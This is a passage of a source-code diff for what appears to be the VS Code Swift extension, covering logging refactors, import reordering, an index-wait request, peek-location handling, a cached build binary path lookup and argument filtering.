from "./inlayHints"; -import { activatePeekDocuments } from "./peekDocuments"; -import { FolderContext } from "../FolderContext"; -import { Executable, LanguageClient, ServerOptions } from "vscode-languageclient/node"; -import { ArgumentFilter, BuildFlags } from "../toolchain/BuildFlags"; import { LSPLogger, LSPOutputChannel } from "./LSPOutputChannel"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; -import { activateGetReferenceDocument } from "./getReferenceDocument"; +import { lspClientOptions } from "./LanguageClientConfiguration"; import { LanguageClientFactory } from "./LanguageClientFactory"; -import { SourceKitLogMessageNotification, SourceKitLogMessageParams } from "./extensions"; import { LSPActiveDocumentManager } from "./didChangeActiveDocument"; +import { SourceKitLogMessageNotification, SourceKitLogMessageParams } from "./extensions"; import { DidChangeActiveDocumentNotification } from "./extensions/DidChangeActiveDocumentRequest"; -import { lspClientOptions } from "./LanguageClientConfiguration"; +import { PollIndexRequest, WorkspaceSynchronizeRequest } from "./extensions/PollIndexRequest"; +import { activateGetReferenceDocument } from "./getReferenceDocument"; +import { activateLegacyInlayHints } from "./inlayHints"; +import { activatePeekDocuments } from "./peekDocuments"; interface LanguageClientManageOptions { /** @@ -167,9 +168,7 @@ export class LanguageClientManager implements vscode.Disposable { // Swift versions prior to 5.6 don't support file changes, so need to restart // lSP server when a file is either created or deleted if (this.swiftVersion.isLessThan(new Version(5, 6, 0))) { - folderContext.workspaceContext.outputChannel.logDiagnostic( - "LSP: Adding new/delete file handlers" - ); + folderContext.workspaceContext.logger.debug("LSP: Adding new/delete file handlers"); // restart LSP server on creation of a new file const onDidCreateFileDisposable = vscode.workspace.onDidCreateFiles(() => { void this.restart(); @@ -315,6 +314,25 @@ export class LanguageClientManager implements vscode.Disposable { } } + /** + * Wait for the LSP to indicate it is done indexing + */ + async waitForIndex(): Promise { + const requestType = this.swiftVersion.isGreaterThanOrEqual(new Version(6, 2, 0)) + ? WorkspaceSynchronizeRequest.type + : PollIndexRequest.type; + + await this.useLanguageClient(async (client, token) => + client.sendRequest( + requestType, + requestType.method === WorkspaceSynchronizeRequest.type.method + ? { index: true } + : {}, + token + ) + ); + } + /** * Restart language client using supplied workspace folder * @param workspaceFolder workspace folder to send to server @@ -364,7 +382,7 @@ export class LanguageClientManager implements vscode.Disposable { if (reason.message === "Stopping the server timed out") { await this.setupLanguageClient(workspaceFolder); } - this.folderContext.workspaceContext.outputChannel.log(`${reason}`); + this.folderContext.workspaceContext.logger.error(reason); }); await this.restartedPromise; } @@ -448,9 +466,8 @@ export class LanguageClientManager implements vscode.Disposable { folderContext => document.uri.fsPath.startsWith(folderContext.folder.fsPath) ); if (!documentFolderContext) { - this.languageClientOutputChannel?.log( - "Unable to find folder for document: " + document.uri.fsPath, - "WARN" + this.languageClientOutputChannel?.warn( + "Unable to find folder for document: " + document.uri.fsPath ); return; } @@ -487,24 +504,26 @@ export class LanguageClientManager implements vscode.Disposable { }); }); if (client.clientOptions.workspaceFolder) { - this.folderContext.workspaceContext.outputChannel.log( + this.folderContext.workspaceContext.logger.info( `SourceKit-LSP setup for ${FolderContext.uriName( client.clientOptions.workspaceFolder.uri )}` ); } else { - this.folderContext.workspaceContext.outputChannel.log(`SourceKit-LSP setup`); + this.folderContext.workspaceContext.logger.info(`SourceKit-LSP setup`); } client.onNotification(SourceKitLogMessageNotification.type, params => { this.logMessage(client, params as SourceKitLogMessageParams); }); - // start client - this.clientReadyPromise = client - .start() - .then(() => runningPromise) - .then(() => { + // Create and save the client ready promise + this.clientReadyPromise = (async () => { + try { + // start client + await client.start(); + await runningPromise; + // Now that we've started up correctly, start the error handler to auto-restart // if sourcekit-lsp crashes during normal operation. errorHandler.enable(); @@ -529,15 +548,19 @@ export class LanguageClientManager implements vscode.Disposable { this.subscriptions.push(this.didChangeActiveDocument); } } catch { - // do nothing + // do nothing, the experimental capability is not supported + } + } catch (reason) { + this.folderContext.workspaceContext.logger.error( + `Error starting SourceKit-LSP: ${reason}` + ); + if (this.languageClient?.state === State.Running) { + await this.languageClient?.stop(); } - }) - .catch(reason => { - this.folderContext.workspaceContext.outputChannel.log(`${reason}`); - void this.languageClient?.stop(); this.languageClient = undefined; throw reason; - }); + } + })(); this.languageClient = client; this.cancellationToken = new vscode.CancellationTokenSource(); diff --git a/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts b/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts index 348184807..44800f876 100644 --- a/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts +++ b/src/sourcekit-lsp/LanguageClientToolchainCoordinator.ts @@ -11,14 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { Version } from "../utilities/version"; + import { FolderContext } from "../FolderContext"; -import { LanguageClientFactory } from "./LanguageClientFactory"; -import { LanguageClientManager } from "./LanguageClientManager"; import { FolderOperation, WorkspaceContext } from "../WorkspaceContext"; import { isExcluded } from "../utilities/filesystem"; +import { Version } from "../utilities/version"; +import { LanguageClientFactory } from "./LanguageClientFactory"; +import { LanguageClientManager } from "./LanguageClientManager"; /** * Manages the creation of LanguageClient instances for workspace folders. diff --git a/src/sourcekit-lsp/didChangeActiveDocument.ts b/src/sourcekit-lsp/didChangeActiveDocument.ts index 6fab63455..b38ba7b62 100644 --- a/src/sourcekit-lsp/didChangeActiveDocument.ts +++ b/src/sourcekit-lsp/didChangeActiveDocument.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; + import { checkExperimentalCapability } from "./LanguageClientManager"; import { DidChangeActiveDocumentNotification } from "./extensions/DidChangeActiveDocumentRequest"; @@ -39,7 +39,7 @@ export class LSPActiveDocumentManager { document: vscode.TextDocument, next: (data: vscode.TextDocument) => Promise ) { - this.openDocuments.add(document.uri); + this.openDocuments.delete(document.uri); await next(document); } diff --git a/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts b/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts index 75189c5bd..f2c4ee31b 100644 --- a/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts +++ b/src/sourcekit-lsp/extensions/DidChangeActiveDocumentRequest.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { MessageDirection, NotificationType, TextDocumentIdentifier } from "vscode-languageclient"; // We use namespaces to store request information just like vscode-languageclient diff --git a/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts b/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts index 86feee752..e798a095e 100644 --- a/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts +++ b/src/sourcekit-lsp/extensions/DocCDocumentationRequest.ts @@ -11,15 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { - TextDocumentIdentifier, - Position, MessageDirection, + Position, RequestType, + TextDocumentIdentifier, } from "vscode-languageclient"; /** Parameters used to make a {@link DocCDocumentationRequest}. */ diff --git a/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts b/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts index eff0c4b9a..f420ac85d 100644 --- a/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts +++ b/src/sourcekit-lsp/extensions/GetReferenceDocumentRequest.ts @@ -11,10 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { DocumentUri, MessageDirection, RequestType } from "vscode-languageclient"; /** Parameters used to make a {@link GetReferenceDocumentRequest}. */ diff --git a/src/sourcekit-lsp/extensions/GetTestsRequest.ts b/src/sourcekit-lsp/extensions/GetTestsRequest.ts index 21da8317e..09e745203 100644 --- a/src/sourcekit-lsp/extensions/GetTestsRequest.ts +++ b/src/sourcekit-lsp/extensions/GetTestsRequest.ts @@ -11,16 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { Location, - TextDocumentIdentifier, MessageDirection, RequestType0, RequestType, + TextDocumentIdentifier, } from "vscode-languageclient"; /** Test styles where test-target represents a test target that contains tests. */ diff --git a/src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts b/src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts index 1c23386b6..98d3b8916 100644 --- a/src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts +++ b/src/sourcekit-lsp/extensions/LegacyInlayHintRequest.ts @@ -11,16 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { - TextDocumentIdentifier, - Range, - Position, MessageDirection, + Position, + Range, RequestType, + TextDocumentIdentifier, } from "vscode-languageclient"; /** Parameters used to make a {@link LegacyInlayHintRequest}. */ diff --git a/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts b/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts index ea1302b40..3da0448fb 100644 --- a/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts +++ b/src/sourcekit-lsp/extensions/PeekDocumentsRequest.ts @@ -11,11 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - -import { DocumentUri, Position, MessageDirection, RequestType } from "vscode-languageclient"; +import { + DocumentUri, + Location, + MessageDirection, + Position, + RequestType, +} from "vscode-languageclient"; /** Parameters used to make a {@link PeekDocumentsRequest}. */ export interface PeekDocumentsParams { @@ -30,9 +34,9 @@ export interface PeekDocumentsParams { position: Position; /** - * An array `DocumentUri` of the documents to appear inside the "peeked" editor + * An array `DocumentUri` or `Location` of the documents to appear inside the "peeked" editor */ - locations: DocumentUri[]; + locations: DocumentUri[] | Location[]; } /** Response to indicate the `success` of the {@link PeekDocumentsRequest}. */ diff --git a/src/sourcekit-lsp/extensions/PollIndexRequest.ts b/src/sourcekit-lsp/extensions/PollIndexRequest.ts new file mode 100644 index 000000000..c5b64645d --- /dev/null +++ b/src/sourcekit-lsp/extensions/PollIndexRequest.ts @@ -0,0 +1,30 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { MessageDirection, RequestType } from "vscode-languageclient"; + +// eslint-disable-next-line @typescript-eslint/no-namespace +export namespace PollIndexRequest { + export const method = "workspace/_pollIndex" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} + +// eslint-disable-next-line @typescript-eslint/no-namespace +export namespace WorkspaceSynchronizeRequest { + export const method = "workspace/synchronize" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} diff --git a/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts b/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts index 184ef12ab..6b46311ca 100644 --- a/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts +++ b/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts @@ -11,10 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { MessageDirection, RequestType0 } from "vscode-languageclient"; /** diff --git a/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts b/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts index f81412817..e40db72ca 100644 --- a/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts +++ b/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts @@ -11,10 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { LogMessageParams, MessageDirection, NotificationType } from "vscode-languageclient"; /** Parameters sent in a {@link SourceKitLogMessageNotification}. */ diff --git a/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts b/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts index fb2288b09..fcfb2c703 100644 --- a/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts +++ b/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts @@ -11,17 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // We use namespaces to store request information just like vscode-languageclient /* eslint-disable @typescript-eslint/no-namespace */ - import { - TextDocumentIdentifier, - Position, Location, - SymbolKind, MessageDirection, + Position, RequestType, + SymbolKind, + TextDocumentIdentifier, } from "vscode-languageclient"; /** Parameters used to make a {@link SymbolInfoRequest}. */ diff --git a/src/sourcekit-lsp/getReferenceDocument.ts b/src/sourcekit-lsp/getReferenceDocument.ts index 7a29b98be..40e388eee 100644 --- a/src/sourcekit-lsp/getReferenceDocument.ts +++ b/src/sourcekit-lsp/getReferenceDocument.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; + import { GetReferenceDocumentParams, GetReferenceDocumentRequest } from "./extensions"; export function activateGetReferenceDocument(client: langclient.LanguageClient): vscode.Disposable { diff --git a/src/sourcekit-lsp/inlayHints.ts b/src/sourcekit-lsp/inlayHints.ts index e403a5dde..d3ae806d7 100644 --- a/src/sourcekit-lsp/inlayHints.ts +++ b/src/sourcekit-lsp/inlayHints.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; + import configuration from "../configuration"; -import { LegacyInlayHintRequest } from "./extensions"; import { LanguagerClientDocumentSelectors } from "./LanguageClientConfiguration"; +import { LegacyInlayHintRequest } from "./extensions"; /** Provide Inlay Hints using sourcekit-lsp */ class SwiftLegacyInlayHintsProvider implements vscode.InlayHintsProvider { diff --git a/src/sourcekit-lsp/peekDocuments.ts b/src/sourcekit-lsp/peekDocuments.ts index bfbfb44fa..497968617 100644 --- a/src/sourcekit-lsp/peekDocuments.ts +++ b/src/sourcekit-lsp/peekDocuments.ts @@ -11,9 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; + import { PeekDocumentsParams, PeekDocumentsRequest } from "./extensions"; /** @@ -88,13 +88,16 @@ export function activatePeekDocuments(client: langclient.LanguageClient): vscode params.position.character ); - const peekLocations = params.locations.map( - location => - new vscode.Location( + const peekLocations = params.locations.map(location => { + if (typeof location === "string") { + // DocumentUri is a typedef of `string`, so effectively we are checking for DocumentUri here + return new vscode.Location( client.protocol2CodeConverter.asUri(location), new vscode.Position(0, 0) - ) - ); + ); + } + return client.protocol2CodeConverter.asLocation(location); + }); await openPeekedEditorIn(peekURI, peekPosition, peekLocations); diff --git a/src/sourcekit-lsp/uriConverters.ts b/src/sourcekit-lsp/uriConverters.ts index 995af7d33..91de6547f 100644 --- a/src/sourcekit-lsp/uriConverters.ts +++ b/src/sourcekit-lsp/uriConverters.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; export const uriConverters = { diff --git a/src/tasks/SwiftExecution.ts b/src/tasks/SwiftExecution.ts index ce298e97f..78f6d6a04 100644 --- a/src/tasks/SwiftExecution.ts +++ b/src/tasks/SwiftExecution.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { ReadOnlySwiftProcess, SwiftProcess, SwiftPtyProcess } from "./SwiftProcess"; import { SwiftPseudoterminal } from "./SwiftPseudoterminal"; diff --git a/src/tasks/SwiftPluginTaskProvider.ts b/src/tasks/SwiftPluginTaskProvider.ts index ffb02cd9c..30d7e707d 100644 --- a/src/tasks/SwiftPluginTaskProvider.ts +++ b/src/tasks/SwiftPluginTaskProvider.ts @@ -11,20 +11,20 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; -import { WorkspaceContext } from "../WorkspaceContext"; +import * as vscode from "vscode"; + import { PackagePlugin } from "../SwiftPackage"; -import { swiftRuntimeEnv } from "../utilities/utilities"; -import { SwiftExecution } from "../tasks/SwiftExecution"; -import { packageName, resolveTaskCwd } from "../utilities/tasks"; +import { WorkspaceContext } from "../WorkspaceContext"; import configuration, { PluginPermissionConfiguration, substituteVariablesInString, } from "../configuration"; -import { SwiftTask } from "./SwiftTaskProvider"; +import { SwiftExecution } from "../tasks/SwiftExecution"; import { SwiftToolchain } from "../toolchain/toolchain"; +import { packageName, resolveTaskCwd } from "../utilities/tasks"; +import { swiftRuntimeEnv } from "../utilities/utilities"; +import { SwiftTask } from "./SwiftTaskProvider"; // Interface class for defining task configuration interface TaskConfig { diff --git a/src/tasks/SwiftProcess.ts b/src/tasks/SwiftProcess.ts index 918d9d22b..0dc9e345d 100644 --- a/src/tasks/SwiftProcess.ts +++ b/src/tasks/SwiftProcess.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import type * as nodePty from "node-pty"; import * as child_process from "child_process"; +import type * as nodePty from "node-pty"; import * as vscode from "vscode"; import { requireNativeModule } from "../utilities/native"; + const { spawn } = requireNativeModule("node-pty"); export interface SwiftProcess extends vscode.Disposable { diff --git a/src/tasks/SwiftPseudoterminal.ts b/src/tasks/SwiftPseudoterminal.ts index 4932aeda8..79055d7d8 100644 --- a/src/tasks/SwiftPseudoterminal.ts +++ b/src/tasks/SwiftPseudoterminal.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { SwiftProcess } from "./SwiftProcess"; /** diff --git a/src/tasks/SwiftTaskProvider.ts b/src/tasks/SwiftTaskProvider.ts index 765d50c3e..140692bd4 100644 --- a/src/tasks/SwiftTaskProvider.ts +++ b/src/tasks/SwiftTaskProvider.ts @@ -11,21 +11,21 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { WorkspaceContext } from "../WorkspaceContext"; + import { FolderContext } from "../FolderContext"; -import { Product } from "../SwiftPackage"; +import { Product, isAutomatic } from "../SwiftPackage"; +import { WorkspaceContext } from "../WorkspaceContext"; import configuration, { ShowBuildStatusOptions, substituteVariablesInString, } from "../configuration"; -import { swiftRuntimeEnv } from "../utilities/utilities"; -import { Version } from "../utilities/version"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { BuildConfigurationFactory } from "../debugger/buildConfig"; import { SwiftExecution } from "../tasks/SwiftExecution"; +import { SwiftToolchain } from "../toolchain/toolchain"; import { getPlatformConfig, packageName, resolveScope, resolveTaskCwd } from "../utilities/tasks"; -import { BuildConfigurationFactory } from "../debugger/buildConfig"; +import { swiftRuntimeEnv } from "../utilities/utilities"; +import { Version } from "../utilities/version"; /** * References: @@ -183,7 +183,8 @@ export async function createBuildAllTask( */ export async function getBuildAllTask( folderContext: FolderContext, - release: boolean = false + release: boolean = false, + findDefault: boolean = true ): Promise { const buildTaskName = buildAllTaskName(folderContext, release); const folderWorkingDir = folderContext.workspaceFolder.uri.fsPath; @@ -208,11 +209,14 @@ export async function getBuildAllTask( }); // find default build task - let task = workspaceTasks.find( - task => task.group?.id === vscode.TaskGroup.Build.id && task.group?.isDefault === true - ); - if (task) { - return task; + let task; + if (findDefault) { + task = workspaceTasks.find( + task => task.group?.id === vscode.TaskGroup.Build.id && task.group?.isDefault === true + ); + if (task) { + return task; + } } // find task with name "swift: Build All" task = workspaceTasks.find(task => task.name === `swift: ${buildTaskName}`); @@ -425,6 +429,16 @@ export class SwiftTaskProvider implements vscode.TaskProvider { for (const executable of executables) { tasks.push(...createBuildTasks(executable, folderContext)); } + + if (configuration.createTasksForLibraryProducts) { + const libraries = await folderContext.swiftPackage.libraryProducts; + for (const lib of libraries) { + if (isAutomatic(lib)) { + continue; + } + tasks.push(...createBuildTasks(lib, folderContext)); + } + } } return tasks; } diff --git a/src/tasks/TaskManager.ts b/src/tasks/TaskManager.ts index c91e65740..fb527ea0f 100644 --- a/src/tasks/TaskManager.ts +++ b/src/tasks/TaskManager.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { WorkspaceContext } from "../WorkspaceContext"; /** Manage task execution and completion handlers */ @@ -104,7 +104,7 @@ export class TaskManager implements vscode.Disposable { }); // setup startingTaskPromise to be resolved one task has started if (this.startingTaskPromise !== undefined) { - this.workspaceContext.outputChannel.appendLine( + this.workspaceContext.logger.error( "TaskManager: Starting promise should be undefined if we reach here." ); } @@ -124,7 +124,7 @@ export class TaskManager implements vscode.Disposable { }); }, error => { - this.workspaceContext.outputChannel.appendLine(`Error executing task: ${error}`); + this.workspaceContext.logger.error(`Error executing task: ${error}`); disposable.dispose(); this.startingTaskPromise = undefined; reject(error); diff --git a/src/tasks/TaskQueue.ts b/src/tasks/TaskQueue.ts index 6b5abca0e..ccfc86272 100644 --- a/src/tasks/TaskQueue.ts +++ b/src/tasks/TaskQueue.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; import { WorkspaceContext } from "../WorkspaceContext"; import { execSwift, poll } from "../utilities/utilities"; @@ -88,7 +88,7 @@ export class TaskOperation implements SwiftOperation { if (token?.isCancellationRequested) { return Promise.resolve(undefined); } - workspaceContext.outputChannel.log(`Exec Task: ${this.task.detail ?? this.task.name}`); + workspaceContext.logger.info(`Exec Task: ${this.task.detail ?? this.task.name}`); return workspaceContext.tasks.executeTaskAndWait(this.task, token); } } @@ -163,7 +163,7 @@ class QueuedOperation { * * Queue swift task operations to be executed serially */ -export class TaskQueue { +export class TaskQueue implements vscode.Disposable { queue: QueuedOperation[]; activeOperation?: QueuedOperation; workspaceContext: WorkspaceContext; @@ -176,6 +176,11 @@ export class TaskQueue { this.disabled = false; } + dispose() { + this.queue = []; + this.activeOperation = undefined; + } + /** * Add operation to queue * @param operation Operation to queue @@ -245,7 +250,7 @@ export class TaskQueue { await this.waitWhileDisabled(); // log start if (operation.log) { - this.workspaceContext.outputChannel.log( + this.workspaceContext.logger.info( `${operation.log}: starting ... `, this.folderContext.name ); @@ -257,13 +262,13 @@ export class TaskQueue { if (operation.log && !operation.token?.isCancellationRequested) { switch (result) { case 0: - this.workspaceContext.outputChannel.log( + this.workspaceContext.logger.info( `${operation.log}: ... done.`, this.folderContext.name ); break; default: - this.workspaceContext.outputChannel.log( + this.workspaceContext.logger.error( `${operation.log}: ... failed.`, this.folderContext.name ); @@ -275,7 +280,7 @@ export class TaskQueue { .catch(error => { // log error if (operation.log) { - this.workspaceContext.outputChannel.log( + this.workspaceContext.logger.error( `${operation.log}: ${error}`, this.folderContext.name ); diff --git a/src/terminal.ts b/src/terminal.ts index d32eb2e67..aeec3144d 100644 --- a/src/terminal.ts +++ b/src/terminal.ts @@ -11,12 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import configuration from "./configuration"; /** The separator to use between paths in the PATH environment variable */ -const pathSeparator: string = process.platform === "win32" ? ";" : ":"; +const pathSeparator = () => (process.platform === "win32" ? ";" : ":"); /** * Configures Swift environment variables for VS Code. Will automatically update @@ -56,7 +56,7 @@ export class SwiftEnvironmentVariablesManager implements vscode.Disposable { } if (configuration.path) { - environment.prepend("PATH", configuration.path + pathSeparator, { + environment.prepend("PATH", configuration.path + pathSeparator(), { applyAtShellIntegration: true, }); } @@ -80,7 +80,7 @@ export class SwiftTerminalProfileProvider implements vscode.TerminalProfileProvi if (!configuration.enableTerminalEnvironment) { const disposable = vscode.window.onDidOpenTerminal(terminal => { if (configuration.path) { - terminal.sendText(`export PATH=${configuration.path + pathSeparator}$PATH`); + terminal.sendText(`export PATH=${configuration.path + pathSeparator()}$PATH`); } disposable.dispose(); }); diff --git a/src/toolchain/BuildFlags.ts b/src/toolchain/BuildFlags.ts index 1c4f3a6ee..cd7512186 100644 --- a/src/toolchain/BuildFlags.ts +++ b/src/toolchain/BuildFlags.ts @@ -11,11 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as path from "path"; + import configuration from "../configuration"; -import { SwiftToolchain, DarwinCompatibleTarget, getDarwinTargetTriple } from "./toolchain"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { execSwift } from "../utilities/utilities"; import { Version } from "../utilities/version"; +import { DarwinCompatibleTarget, SwiftToolchain, getDarwinTargetTriple } from "./toolchain"; /** Target info */ export interface DarwinTargetInfo { @@ -30,6 +32,8 @@ export interface ArgumentFilter { } export class BuildFlags { + private static buildPathCache = new Map(); + constructor(public toolchain: SwiftToolchain) {} /** @@ -221,6 +225,73 @@ export class BuildFlags { } } + /** + * Get the build binary path using swift build --show-bin-path. + * This respects all build configuration including buildArguments, buildSystem, etc. + * + * @param workspacePath Path to the workspace + * @param configuration Build configuration (debug or release) + * @returns Promise resolving to the build binary path + */ + async getBuildBinaryPath( + workspacePath: string, + buildConfiguration: "debug" | "release" = "debug", + logger: SwiftLogger, + idSuffix: string = "", + extraArgs: string[] = [] + ): Promise { + // Checking the bin path requires a swift process execution, so we maintain a cache. + // The cache key is based on workspace, configuration, and build arguments. + const buildArgsHash = JSON.stringify(configuration.buildArguments); + const cacheKey = `${workspacePath}:${buildConfiguration}:${buildArgsHash}${idSuffix}`; + + if (BuildFlags.buildPathCache.has(cacheKey)) { + return BuildFlags.buildPathCache.get(cacheKey)!; + } + + // Filters down build arguments to those affecting the bin path + const binPathAffectingArgs = (args: string[]) => + BuildFlags.filterArguments(args, [ + { argument: "--scratch-path", include: 1 }, + { argument: "--build-system", include: 1 }, + ]); + + const baseArgs = ["build", "--show-bin-path", "--configuration", buildConfiguration]; + const fullArgs = [ + ...this.withAdditionalFlags(baseArgs), + ...binPathAffectingArgs([...configuration.buildArguments, ...extraArgs]), + ]; + + try { + // Execute swift build --show-bin-path + const result = await execSwift(fullArgs, this.toolchain, { + cwd: workspacePath, + }); + const binPath = result.stdout.trim(); + + // Cache the result + BuildFlags.buildPathCache.set(cacheKey, binPath); + return binPath; + } catch (error) { + logger.warn( + `Failed to get build binary path using 'swift ${fullArgs.join(" ")}. Falling back to traditional path construction. error: ${error}` + ); + // Fallback to traditional path construction if command fails + const fallbackPath = path.join( + BuildFlags.buildDirectoryFromWorkspacePath(workspacePath, true), + buildConfiguration + ); + return fallbackPath; + } + } + + /** + * Clear the build path cache. Should be called when build configuration changes. + */ + static clearBuildPathCache(): void { + BuildFlags.buildPathCache.clear(); + } + withAdditionalFlags(args: string[]): string[] { return this.withSwiftPackageFlags( this.withDisableSandboxFlags(this.withSwiftSDKFlags(args)) @@ -228,34 +299,53 @@ export class BuildFlags { } /** - * Filter argument list + * Filter argument list with support for both inclusion and exclusion logic * @param args argument list * @param filter argument list filter + * @param exclude if true, remove matching arguments (exclusion mode); if false, keep only matching arguments (inclusion mode) * @returns filtered argument list */ - static filterArguments(args: string[], filter: ArgumentFilter[]): string[] { + static filterArguments(args: string[], filter: ArgumentFilter[], exclude = false): string[] { const filteredArguments: string[] = []; - let includeCount = 0; + let pendingCount = 0; + for (const arg of args) { - if (includeCount > 0) { - filteredArguments.push(arg); - includeCount -= 1; + if (pendingCount > 0) { + if (!exclude) { + filteredArguments.push(arg); + } + pendingCount -= 1; continue; } - const argFilter = filter.find(item => item.argument === arg); - if (argFilter) { - filteredArguments.push(arg); - includeCount = argFilter.include; + + // Check if this argument matches any filter + const matchingFilter = filter.find(item => item.argument === arg); + if (matchingFilter) { + if (!exclude) { + filteredArguments.push(arg); + } + pendingCount = matchingFilter.include; continue; } - // find arguments of form arg=value - const argFilter2 = filter.find( + + // Check for arguments of form --arg=value (only for filters with include=1) + const combinedArgFilter = filter.find( item => item.include === 1 && arg.startsWith(item.argument + "=") ); - if (argFilter2) { + if (combinedArgFilter) { + if (!exclude) { + filteredArguments.push(arg); + } + continue; + } + + // Handle unmatched arguments + if (exclude) { filteredArguments.push(arg); } + // In include mode, unmatched arguments are not added } + return filteredArguments; } } diff --git a/src/toolchain/Sanitizer.ts b/src/toolchain/Sanitizer.ts index 52b412e0c..b56e7e76a 100644 --- a/src/toolchain/Sanitizer.ts +++ b/src/toolchain/Sanitizer.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as path from "path"; + import { SwiftToolchain } from "./toolchain"; export class Sanitizer { diff --git a/src/toolchain/SelectedXcodeWatcher.ts b/src/toolchain/SelectedXcodeWatcher.ts index 013c77118..c6f89450c 100644 --- 